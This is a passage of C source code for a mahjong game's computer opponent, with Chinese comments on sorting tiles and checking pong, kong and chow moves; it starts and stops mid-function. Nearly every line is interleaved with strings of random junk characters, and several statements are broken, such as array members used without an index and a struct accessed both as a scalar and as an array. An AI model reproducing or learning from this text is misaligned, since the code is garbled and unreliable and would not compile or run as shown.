7 N& H0 Z" O0 V8 ou=computer.pp[n].number;
! Y9 q  O' s! c1 I3 qcomputer.pp[n].number=computer.pp[j+1].number;
3 ]3 l: g; p( W* ^9 }computer.pp[j+1].number=u;
9 s  t# X% z: r% o' O4 s, B}
+ S# l2 B  B+ l8 G+ \* D}
6 G. Q6 y+ d0 G7 z}
3 k) @6 Y& N% ^void melipai()
- h5 r+ [: K% S) v{ int n,j,u;
. m' R7 R% r; K, C  O3 aint *lingshi;3 h# G4 I3 Y9 T& _7 S
for(n=0;n&lt;me.m;n++)
' {4 ?; L9 q6 lfor(j=n;j&lt;me.m;j++)- w2 L' Z- k) H  z) H; D1 I
{+ B* H% }5 H% T- v) k- E; |
if(me.pp[n].number&gt;me.pp[j+1].number)
8 w$ L7 i  K& {{
: P6 d( k. ]2 `lingshi=me.pp[n].k;
6 N$ A7 d0 _, ?. Ime.pp[n].k=me.pp[j+1].k;
. h% O' y0 j: Q+ Eme.pp[j+1].k=lingshi;
  M3 f5 C" u. S6 F  R! j) nu=me.pp[n].oneorfour;
) @3 B5 U7 m2 u4 Ame.pp[n].oneorfour=me.pp[j+1].oneorfour;
. c1 Z7 e; o1 }1 p; ]0 \- b# ]! Zme.pp[j+1].oneorfour=u;! L' g% N: m" R: r
u=me.pp[n].number;: F( d5 L) a) z' V
me.pp[n].number=me.pp[j+1].number;) S0 J6 r1 t- t# C
me.pp[j+1].number=u;
  J9 x+ p' X1 b" D; y* h}* q6 N/ l% ^" p  j3 }5 Y8 s
else+ J% B1 W4 S- q& x# v
if(me.pp[n].number==me.pp[j+1].number)
. Q2 q( e& e3 z4 nif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour); ^! x! X5 r8 m" \# F
{
; c% p# F- u7 ^% P& t/ \. blingshi=me.pp[n].k;' h/ j. P, I7 n
me.pp[n].k=me.pp[j+1].k;; H' V& A' q. D8 u: R  `# ]  V0 Z
me.pp[j+1].k=lingshi;
6 K. F* _5 q: Ju=me.pp[n].oneorfour;
2 q2 r9 ?3 @/ N- W  q8 ume.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 ^- M8 s% v+ Z8 ime.pp[j+1].oneorfour=u;4 C, F; N; h8 W/ m' |# g
u=me.pp[n].number;
3 l2 U! q) W, e+ Ome.pp[n].number=me.pp[j+1].number;
+ l1 j( x3 f1 p$ b+ h5 d- y5 ^me.pp[j+1].number=u;* c* @/ Y5 o2 A9 {, `* o$ i
}+ O' L" s, Z! @* \& p6 H
}
( j% c0 R) ~( f6 U}
+ a2 Y0 _4 k7 @, @5 |% \void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
2 [, y% k% ?9 u1 E4 \{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
$ M" a$ `2 K9 Kif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)0 T  `) O7 S# R6 ~* @: x# f& I5 T) q
{) b. K# ~% N( S; }5 M* P4 {5 B3 g
logo=1;
$ o- n0 t5 I; N3 V( l; i% Zif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
. j- u0 |. g1 }- Hlogoo=1;
7 ~3 z" C$ G1 N$ w& Delse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
) l; y  ~9 G, }$ a) z4 l7 Flogoo=2;7 `2 K6 W1 H9 \+ b  _  L
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
6 x- u& }/ q! j+ a# x/ ilogoo=3;" V! w! D- q# d: H/ G* k
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)# f4 D! ]; R/ Z/ F+ H1 S! t
logoo=4;
* D* F$ w7 D/ `else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
2 ?- f3 ?3 O( T6 X7 I. J6 elogoo=5;
) v/ A9 q# [, E4 Welse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)" X) q( |% P; x; Y
logoo=6;. A" P4 G& ~& q: q. x
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)6 d" B7 z5 V1 r$ F( {9 l/ o
logoo=7;' w3 O; P: j3 O9 v2 m! \$ m& N
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
2 e1 M! s: }. \! u$ glogoo=8;% B) ~! n9 A5 G- [) B# m  a9 K
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
, g; f" C& w; x2 _" [logoo=9;
6 W8 M5 i6 y* Q. P/ n" w, L}/ Q* x! G# T7 W3 m
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)4 o+ o) n! O3 m0 i. q
{
3 u4 e0 j8 J6 K) K! d1 e* h* slogo=2;
. r" L# p# I' T! c+ |if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
8 _* C% ]8 d* {* H5 ]2 @0 Dlogoo=1;8 q# ?* ?- e$ O- U
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
3 ~% J; J) h( M2 U" I" h8 |logoo=2;9 Y" C# f  V3 j" S1 J4 j
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
! O( W7 c: p+ m2 y! Q. D; t+ \logoo=3;) G* k2 x/ d1 q0 A3 I9 q6 D
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
8 Z5 h4 E& v$ Y4 e2 X- X2 ?logoo=4;" K# l3 Y3 @( x8 F
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)5 Q# M5 D/ ?2 D, C8 R8 j2 t1 V
logoo=5;
" V; _. d/ {/ r/ m8 P6 B  ]( O* felse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
* s+ U4 d, {) ]  B: z: rlogoo=6;
( e7 P1 S$ u& F+ N. h2 ]* `0 selse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
$ G4 W& I: p/ |4 [% d0 }logoo=7;" Y" \, _: }5 q3 I$ D/ q
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
0 @1 w4 K* A3 r& {( elogoo=8;
: E& I# I2 z% u- Kelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68), B& y# A8 e! M
logoo=9;
7 E8 R! ^6 h; E. P; m- q6 s7 ^}" Z; b' p2 F7 V9 T5 v
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)* X" d" A* L; r3 s
{0 V2 g! G2 I8 h5 o5 L
logo=3;$ h9 p9 M4 v4 u: p
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
8 y" ]& z. E6 P+ vlogoo=1;
. T( D2 c6 m0 Zelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
" y; n- i: r9 M7 c0 Xlogoo=2;
3 M4 L) J4 M4 D8 d3 aelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)" r" [, f6 B" q* @, Q- G/ m9 w. L
logoo=3;
2 U0 R. G* K6 a( N, [: t: B4 Relse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
1 \# Y% A4 H' A% f8 @logoo=4;
6 n3 }( U3 d$ R8 b7 A2 ?# `else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
3 X; t/ q" ~  Ologoo=5;
' c" |  e0 j7 Q8 J; T  `else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)9 K# Q2 |4 {- J: c, _) K4 y6 P
logoo=6;& P2 R! e  h0 X% ~
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)8 ?6 G( Q( J& A- p+ W, i
logoo=7;0 q0 r/ _) v1 ]
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)+ N: @) g, u+ w; n( V% K/ P) q
logoo=8;
. m8 S9 i( Y& ?' Z& f$ Oelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
' G2 F) `/ l& T+ tlogoo=9;6 ~/ x2 S3 z3 b5 D2 Q* V- _
}
; u$ T6 z$ D6 e( v- S6 qelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
$ `# s) j" c- m{. i) u; g1 a7 a- [  ?
logo=4;5 W, e* M: Q* H! K: }
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
7 E8 S( O( f8 z" ~5 W- nlogoo=1;3 R0 R% I1 R; ?! E
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)0 f# r! R2 i, b5 l$ _. N: f
logoo=2;
' q6 G5 o: S& q4 C( Eelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
6 s( }- Z4 t' @$ z( Tlogoo=3;& x; X# }# N1 W: C3 H5 v
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120); k9 r, i, [3 ^8 j4 j9 u" N
logoo=4;2 d* L' ^. f; _9 L* p
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)/ F) e, ^8 f$ W. }% J% _# C1 s; S) g
logoo=5;
6 }$ ?9 T/ Z6 d/ v/ E* _+ Celse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
3 R; j6 @8 G! E8 Slogoo=6;
( v+ j2 l6 l6 R$ k) S7 Uelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
0 D2 Y+ T' _" ]& a4 j: flogoo=7;
) w+ Z# B2 {% h" s}2 [+ b- i  ]1 @2 J' K
while(b&lt;=computer.m)! E9 e$ ]3 g! z# B7 e
{" O4 z+ \) w5 S
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
2 h! X* t+ b2 g2 i: i2 j{
. u; P! V% I; |0 u; Ylg=1;% @4 \! K- P6 u7 _3 C) m
computer.pp.d[0]=1;, P2 j  n( H+ c. O9 C  Z
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
4 q+ A. n  I( l. W3 Z: V4 a" }( B3 E{3 D. F1 D' W6 x% d: P  s
lgg=1;
9 l' L; D0 x, W' e6 _computer.pp.d[1]=1;! P* w: a6 z; Z! M, _
}8 W, P& u' _! d* s, o
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
0 D3 p; y5 p) _1 R* q! {" S; W0 k! D: [{  D  ?1 R) a# M: `6 X
lgg=2;' r( D( V; j7 y3 y- f  R1 {0 [0 G
computer.pp.d[1]=2;# N# w1 I( `1 s& |) A
}
0 s* D& g1 @5 \! e, selse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
, n, Z- S; g1 Z" p! ?. ~, e5 Y, y{; g% i5 L0 p  S
lgg=3;
) W# y* k7 O* t% h: l1 Z( scomputer.pp.d[1]=3;  h3 R8 O. F+ Q- t4 S
}
, ?+ h; j7 o1 c2 s8 G" F8 delse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)9 B5 L" o! l; q
{
. L2 t4 l+ j- O! A4 qlgg=4;
' ?: u8 H6 @  m6 Ycomputer.pp.d[1]=4;
7 e8 @, z6 R) d6 r5 |}
! q7 `8 e; {% X' l8 ]) Z3 eelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16): u& V  A' Z7 a& q
{6 ~* l3 v& l! x1 ?
lgg=5;: m6 C0 I& w1 s1 \# P9 A' [
computer.pp.d[1]=5;
6 w! ^& n9 K. E  Z  @9 c}7 Q" E5 e5 l, E' o
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20). W1 m; s) S! j) U5 ?5 P
{3 D8 U( \  w  {& F! j
lgg=6;
6 S1 `2 }) x- d* V; i, }4 ecomputer.pp.d[1]=6;
3 U" U! A. e$ Y, p}  B6 Z6 ~. j1 J
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)! ~6 p# Q# H7 B5 T- N& n
{
9 \* k8 q- W+ _lgg=7;, C" J6 M3 Y# Q' j
computer.pp.d[1]=7;
) G: p* X' ~* i! M. y1 ^  J}+ [- f% n# U, `
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)+ e9 C9 O' ^4 W; j
{
+ G" K0 S% L  L* O! plgg=8;
# {8 p3 o; H1 p' m- D* kcomputer.pp.d[1]=8;
7 h. M) E  ^8 @4 H9 Q}1 G' B2 a6 I5 ]4 P. O$ S
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)& e- I. W' {6 Y+ S6 S1 @
{
: \# _) S# f! l: W4 W4 ?5 S, [% glgg=9;( N6 y7 H9 p  ~# y  O. p; b8 {
computer.pp.d[1]=9;
* e+ k& t( X7 b9 Y" H}
$ a8 `) p% ^2 T6 n+ ]* _}  f* Q. ~' P) N
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
& O+ H- M* m3 y/ T, ]# s{
1 M/ l8 S6 E" @+ i' V  |lg=2;
/ ]9 f5 o$ t( Acomputer.pp.d[0]=2;6 t' J4 O( I' ^
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36): r2 t4 Z2 A) Z% T
{$ j+ B4 b) j4 ]- e
lgg=1;1 s6 |# P/ r0 u7 G8 R
computer.pp.d[1]=1;2 ^% y0 j  b) W/ N2 E, p6 X2 i
}: Z! f  S6 A; Y1 A4 J' z  `
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)* I2 `! g  T! }& Y" y$ J$ c
{* i1 z" M4 ?9 R+ Y- n
lgg=2;
* o) w) L( w) L& b6 K7 m, Gcomputer.pp.d[1]=2;
! O1 \5 x+ M! K}7 |8 \+ ^6 y) u: f
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)# ]- U4 [/ O" F+ H( d- q' `
{
) h* Q2 i$ T2 ^+ Y; m' zlgg=3;: s5 ?8 x$ Z9 V, `. d6 l
computer.pp.d[1]=3;
" P$ M+ u* k/ \3 j$ \, M}9 f3 ~" I( `# g5 d0 D1 P
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)3 c" a/ O5 v0 \! U5 |3 A
{
' ~- F0 w  o6 ~' e) G6 C% Llgg=4;8 `( o, ^% `! W2 ]
computer.pp.d[1]=4;
# _& L, x9 N+ c" q6 X- V}
8 f  O( g# ~( g' belse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)! U4 J1 I# P8 K4 r3 q' ?
{  E- a# L0 i5 R8 ^
lgg=5;0 y% F: ^" b7 N( y: N1 V. l
computer.pp.d[1]=5;+ U6 a+ ?4 `8 d8 b* @8 g
}
- O8 a- R! P% n( m" V$ l9 I( Delse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56): J! i. |* H- f* q
{: `$ u( s2 q, ?# _
lgg=6;
3 `: O3 s. |  F5 g/ R, A8 Kcomputer.pp.d[1]=6;9 w/ s& E& A8 g" u2 {) R7 U, |9 B
}# }: b" Z5 X9 U9 f
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
* q' u" O* C1 v3 o, i6 Z{
8 |+ `" ?' c. ^0 `lgg=7;
1 [: y/ [6 w: j3 H; e2 `computer.pp.d[1]=7;0 p6 e; X+ F. Y2 }
}) w$ c; v" X" K! w; e" q# M% v# t
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
7 Z) n5 c3 z  N9 `9 D{
  F7 s/ q2 J) ^lgg=8;4 u( c( u& y- A9 k) w7 E
computer.pp.d[1]=8;; W) ~5 w4 v1 J2 G% y+ v4 E5 F
}$ m8 I" z) n0 {3 Q9 e! R; ^
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)4 U7 n& X7 @3 _" R; ^9 G# c
{: M& w/ i; E% A% L  }
lgg=9;( S7 v  y, }8 o" e3 R. B
computer.pp.d[1]=9;& o' j) S! c! @1 Q
}
. {8 i) Y% \% t6 R1 j! Q! N' F}, r. q$ F0 i5 z% N! R; W9 S
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
6 C0 S  L2 O/ Q+ X4 Y+ P, x{: R0 C3 I0 e- X" [1 K
lg=3;  g1 u: o( T. C$ W  y
computer.pp.d[0]=3;
& B% [" T6 Y1 B" ?# s- ~/ R5 Zif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
+ }7 o7 t# U2 u% a7 g' E{
3 J# b6 ]! @% m" h0 ?7 Flgg=1;3 m5 p# Q  h+ x
computer.pp.d[1]=1;; c' {4 m0 S9 }' \) n5 u( V, Y8 J. Q
}' d) p( O( S$ b6 H
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
) j0 S) w7 j9 j( }) K" T  S{6 m9 P. e/ ?7 q' M
lgg=2;" a* S: i* f2 p1 L
computer.pp.d[1]=2;
7 g" r+ U- [0 W2 M4 F- u}
7 M+ l  ^/ {  Aelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
+ M) d9 d) ?8 O. S) i8 B{* D! g/ Y6 U/ R3 O
lgg=3;1 {# ?) a# @+ I. X! }# s! l
computer.pp.d[1]=3;
+ E7 @& L! p7 K' e% i}  Y% A5 b3 ?& z3 `  _0 q
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ o4 e1 ^3 b1 H{3 V, w3 s5 u* R; a+ W
lgg=4;4 k, c: G* [  q6 K& H8 m
computer.pp.d[1]=4;* r" G+ ^- e/ h* {* Q6 `
}$ v( ^: k! ^& C, ^$ j0 o5 X" N0 P
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)9 Z5 a/ d) d" C- P- @
{
0 j) r- m# w+ {% ]lgg=5;
3 }# s% |8 d8 P6 L4 @& _) u9 T! _2 gcomputer.pp.d[1]=5;6 g7 P: n. R/ m2 m
}$ K; x7 Y: y7 r/ e" Z5 O: D
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)& \! u! M* T5 a9 Y5 E
{
8 b2 W  N4 F- ]1 U6 x- R* i8 Wlgg=6;* P  P0 ?# j8 Z, k2 e- M
computer.pp.d[1]=6;
7 @# l1 H' o% J6 K7 T4 q' \1 V}( v" J( n" e2 k- @1 S" h6 W
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
6 [/ S3 ^" A7 O( O! i! Q{
. b" E' E0 l1 klgg=7;8 d% e, K1 ]/ B8 v
computer.pp.d[1]=7;; }7 Q; t; m7 }+ U+ j% `$ X+ N
}
) F0 A+ H; e9 v$ z3 a0 ?: uelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
! ^" n+ q: r+ n- Q- S/ `5 f. N{
4 D2 ]; H7 P7 Jlgg=8;+ \, y- K) d* M' {
computer.pp.d[1]=8;
9 Y4 a6 f' s) ?* g}
0 I7 x. h$ a" ]  o& n( p) L; Zelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)' V1 `3 f# d3 K) B! d, h5 t7 d# C& w
{
3 f" B5 H5 }0 d7 Llgg=9;7 A# f" w" Q. i+ s
computer.pp.d[1]=9;. I, W" n: W! W5 L+ g- k% y! S
}0 Q4 E$ m& n$ p. ?1 d; m6 g% D) A: B1 ~
}
% f9 ^8 g! m4 |- t, J5 {$ d9 Kelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)- _# H* a: F/ V+ \) t
{8 d. J# l) d' u& _; b  c
lg=4;' M1 [  d" V5 }9 d! s' q
computer.pp.d[0]=4;
, M9 o; {& j' Y) `& j8 A6 |( x1 v! e! U' _if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)7 I0 L5 K$ \# r) h# R/ O' c0 T
{
4 m! U- `$ j& |& ]4 `. clgg=1;
+ C; [  O5 N* E0 w2 U* |/ H7 o) ^) ccomputer.pp.d[1]=1;
7 h5 d( E2 a$ U  o' q$ P}+ w$ R# {  Z, x9 U* l* `
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
6 n9 i- C) y+ T, e" }& F7 O5 z{
2 l1 l  z. C- Q6 S* g! t. F( u0 o- hlgg=2;
4 Y+ T4 i$ t5 N5 b& z9 i. L( Xcomputer.pp.d[1]=2;! G7 S4 |# g& ]2 U, V+ J
}( R0 E8 h: h3 k) }9 F) B1 `. l% s2 [3 Q
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
- n" Z: |! h0 ^; K{
% R: A% X) T  blgg=3;
! N7 s$ _& J& a+ |2 Wcomputer.pp.d[1]=3;! }2 x1 b/ h1 [. L. W- q2 W
}+ X7 d# `& o. ?/ W) h
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)/ O) p" A. u. b# M, D( z
{6 u3 R: h; D1 u  h5 C1 Q1 ]) u3 d$ l; P1 ^
lgg=4;: w; a, {, Q- S2 q0 p
computer.pp.d[1]=4;
7 x4 v& ]/ |3 D3 V# o( i$ Y}
/ r: x/ d5 G6 R4 [  X9 ^& W# Aelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)! F; `3 i' a8 ]# k8 L
{
" U7 M! C% B; m6 _/ Y9 elgg=5;1 Z6 {+ q5 n7 p+ J
computer.pp.d[1]=5;7 e" J. m9 C8 ?- p
}. [! X' ^  N2 d2 q+ C
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128); w' j. B" l4 d/ f
{4 J3 H8 S% G' D2 J8 {6 l
lgg=6;
4 {& C, `$ j& g, h0 S( _+ rcomputer.pp.d[1]=6;
- O) [3 j' {# X! t5 v7 k& \}: C9 J6 n8 K3 d7 i% V& [9 m
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
; K0 }6 a+ H% r) t% @! O+ u( P{
% }5 c; b/ c1 C4 Hlgg=7;0 r/ E$ U$ T6 c3 `
computer.pp.d[1]=7;" c5 s% g' v; f1 I
}& Y- A3 L5 y: U7 k1 [  t
}
& u7 s' j3 R' p& l
5 ?7 w2 S0 B& ~9 R: [9 I" Y5 H& A' Pif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
, C; t2 [9 ]/ T+ o9 ]* lif(logoo==lgg)
  q3 k' ^4 I% I) X) Vpg++;
% J" C; w& Y& @ch.lg=lg; /*保存电脑手里的每张牌的信息*/) _7 E/ ^1 O9 J2 j2 c
ch.lgg=lgg;
( h. d  x5 {, N. |5 J7 T& [lg=0;1 |; G* o' X! \, Q
lgg=0;
& V1 x, s- s" y7 B5 Fb++;
" i8 M0 l2 o- o* X: L}+ \: _; R& _8 p2 P9 a( r
if(pg==2) /*乓*/
0 ^& @( _" v* l! O{, |! X, {- W6 _
& |3 V. C# e' G/ i
sing=1;- ^# _5 i! w4 o2 ]4 u4 ]
b=computer.m;0 m3 y9 d3 g9 ^: _  ~0 }
while(b!=-1)
. e! ~3 N5 j* |, y3 ^2 H: J{
) k2 f0 O8 h9 R' zif(strcmp(me.pp[c].k,computer.pp.k)==0): L/ q; C  \0 J% |1 Q
computer.pp.p=1;
6 ?% X! G- Q6 a4 D! G/ K/ q
# Z1 T+ s! G3 z! }' Wb--;2 s" y/ D4 {# Z  h
}
( B7 x  I# h# T# H# N# ]2 A- O}
6 P+ w0 o" l- T' q* mif(pg==3) /*杠*/
. N- ~1 A9 M* Q8 L{
4 |8 M0 X# \$ B- {
( v/ O' d* B8 {% p  t! D9 `sing=2;; @! p1 A/ Q. Q
b=computer.m;- z, t4 `6 U# `! R) l" s
while(b!=-1)
& Y& C% z7 b: e7 D% ^{/ L, _' d$ b) U5 }, X* G+ q5 A8 N
if(strcmp(me.pp[c].k,computer.pp.k)==0)
3 V% d8 q" [2 `' v; Ycomputer.pp.g=1;! I- d+ k8 f! Y
b--;
1 z) |& c$ k) a5 {! ?1 Q7 e}
, Y1 v7 e) W' H: O; z0 I- [}; O0 O1 B# c. b9 G; `+ n$ ^
f=0;
7 Q1 Z1 e" T5 D, V$ u8 ?- pwhile(f&lt;computer.m) /*吃的判断*/( C8 r  f! E6 m6 e, s1 n5 o  @
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)3 ~, G- @, l/ ~8 U
{
# q% R# }3 f! X( o0 x/ Kif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
, S0 c0 _0 [# _if(ch[f].lgg-logoo==1)
1 R: y& r% [3 F/ @; K1 L. W{
% j5 D* r  X' egp++;3 y# F, u! D9 \7 J
computer.pp[f].c=1;
* H  Y8 V) L" V8 a! Ccomputer.pp[f+1].c=1;# V  I9 k3 }# S7 r  S
}- x  _0 |0 Q! A5 o# E* Y; Q
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/: p# R# U0 p: v! E
if(ch[f+1].lgg-logoo==-1)
3 G  u/ k, Z7 k{( z$ C2 r" q3 M/ |) j, X0 ?
gp++;" ^2 O+ l5 v  A# W, c
computer.pp[f].c=1;
! M( j6 G& s6 b9 [( T+ T* h2 |: o8 Dcomputer.pp[f+1].c=1;
% k) D5 x! k, p' P6 t4 \3 e' b4 R6 Z}
9 Z8 L+ Z4 O/ Q( j& W. O/ _if(ch[f].lgg-logoo==-1) /*中吃*/
+ L9 r' }0 X; C2 r6 F1 {if(ch[f+1].lgg-logoo==1)$ \. L+ J& H. C7 V8 A, _# w
{2 U) C2 I1 w: j  k
gp++;- _* @# K* \2 c1 {$ J
computer.pp[f].c=1;
# z$ P- o4 N4 j2 _! Q3 s7 ~computer.pp[f+1].c=1;& D% @* q" K: j0 B5 b' q& J6 l
}
% i6 b0 z5 {. Vif(gp==1)( Q; H4 Y. x4 z9 z  y
break;- q; S7 n& e3 M/ E( \5 ^
}4 S! B5 m" U9 y! d$ G4 R1 n
f++;& s2 Q1 J& Y+ e. ~7 Q" \: d, j* M
}
; G, A; H! m* q4 \; ]' Cif(gp==1)
  Y: d2 R% O3 ~6 R7 L8 V& E/ o{sing=7;
% x' X. s; r  ?: G& W+ X+ s( f$ H9 q" |
}0 D% F. `) p# v, j2 a6 F, x: N
pg=0;7 n! `7 S2 o' z. w9 f
gp=0;1 D0 o# G2 o# e; ~$ R
b=0;
# {$ Z- J* _! ]9 \}
. G; y+ J. ~; i% {) bvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
$ |3 M  V0 [* g7 y& M4 Q7 g: d2 v{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
# P+ ^: r- l9 D4 C4 }. nif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)* K- h; _4 E* }
{) Q/ {) d. M! Y$ X% f& N9 f$ X4 Y* m* e
logo=1;
1 K( @( p: z( }2 a  A  N& qif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
9 z; h" x  M) h4 T: {7 B% Mlogoo=1;
! f/ A6 ^% y: S0 F1 \) x/ ~4 R8 Helse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4); i; G8 x7 {& @, m
logoo=2;6 X+ F. @+ o" K- W* z
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
) j9 n) @& P1 d% k/ w! n! xlogoo=3;) _3 G* V9 V7 C& X
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
2 ~2 p' v* f5 [) l* S6 Qlogoo=4;
# v$ E0 I! {% S) {9 H' v+ h9 Welse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)1 ^0 n+ o6 ], A1 `
logoo=5;/ ~! j- d9 ^$ b# U4 f& e
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)6 m+ `7 M! _, _1 E3 ^
logoo=6;- C2 V8 V. x' y2 }: L' x2 H
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)+ ?9 u2 ?2 z$ `9 V: m
logoo=7;9 y4 k6 z: n1 H( r$ p5 W+ O! X
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28), A; b1 v& ~3 D0 Q  {/ p9 v: y
logoo=8;/ d8 w8 }( l# ~# D3 S: X
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)3 ]7 A4 a; A+ M" I$ e
logoo=9;
5 [- g$ X/ ]+ q% \}% z& a* ]: {, b3 m' n
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)) u& t) R  a. `
{
/ ~" z2 G% U. v" G8 a; ~( dlogo=2;" [0 D+ E8 t7 s* L/ {- U2 C2 C+ E
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
! h+ i+ M0 P& H  b. z& ~7 Klogoo=1;
- `4 \6 R) U2 L3 W* i" W6 U9 Delse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
% e% X, v. D( I$ `logoo=2;
4 i( N+ H  I1 \- \- G7 gelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
